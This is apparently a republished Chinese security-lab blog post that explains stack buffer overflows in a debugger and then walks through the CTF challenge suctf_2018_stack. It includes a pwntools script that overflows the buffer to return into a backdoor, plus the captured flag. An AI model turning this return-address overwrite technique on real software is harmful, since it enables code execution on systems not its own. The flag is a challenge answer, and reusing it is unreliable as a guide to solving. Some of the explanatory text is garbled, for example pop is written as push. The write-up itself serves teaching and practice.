出品|长白山攻防实验室(ID:逆向萌新)
声明
以下内容,来自长白山攻防实验室的逆向萌新作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
什么是栈
栈溢出的利用
对于栈来说,栈是有两个操作,入栈(push)和出栈(push)这两个操作,栈还是先进后出的一个模式,所以可以无限制往下压,先去运行。
我这里用的是x32dbg。
这是一个窗口,分别代表的作用是什么。
在开辟完栈,才会对栈进行操作,简单的说明,就是我开辟一段地区,这里就是给我用的一块区域。
但是这个栈的大小是有限度的,这个栈的大小是0x24的大小。
在没有cancry的保护下,那么被溢出了,还是被正常的执行下去,但是在windows这些中,可能会报错,退出程序,我现在把这0x24空间,填满,现在看我的栈空间,我这里是00AFF278到00AFF254,是我自己申请的空间大小。
开始填充,现在看00AFF24C这里,被覆盖掉了
被覆盖成了AAAAAAA,之后我开始释放这个,由于我直接把AAAAAAA给了给了ebp,之后ret,程序就跑飞了,因为我这里里面并没有0AAAAAAA这个地址,之后引发报错。
我们来利用excel表格,来看一下。
如果输入的比栈的大,那么就会出现这种清空
假设:我这个栈的大小是0x24,但是我可以输入0x50字节的大小。
做题实验一下。
suctf_2018_stack
解析
下载附件,之后checksec一下
64位,无保护的文件。
漏洞的产生点在这里,这个buf可以从窗口下获取0x30个字节,但是在栈内,只有0x20个字节。
画个图
这样就可以造成栈溢出,发现这个可执行文件中,还有一个后门。
所以我们先让这个buf溢出这个栈,之后加上/bin/sh的地址,即可。
脚本
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#p = process('./SUCTF_2018_stack')
p = remote('node4.buuoj.cn',27398)
system = 0x0400677
#payload = b'填充的字符'*(buf的大小加上覆盖返回值的大小) + p64(shellcode的地址)
payload = b'a'*(0x20+0x08)+p64(system)
p.sendline(payload)
p.interactive()
最后获得flag为:
flag{94336642-f073-4380-8ba7-6dc4a3b34b1c}
▇ 扫码关注我们 ▇
长白山攻防实验室
学习最新技术知识
原文始发于微信公众号(长白山攻防实验室):栈溢出方法(suctf_2018_stack)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论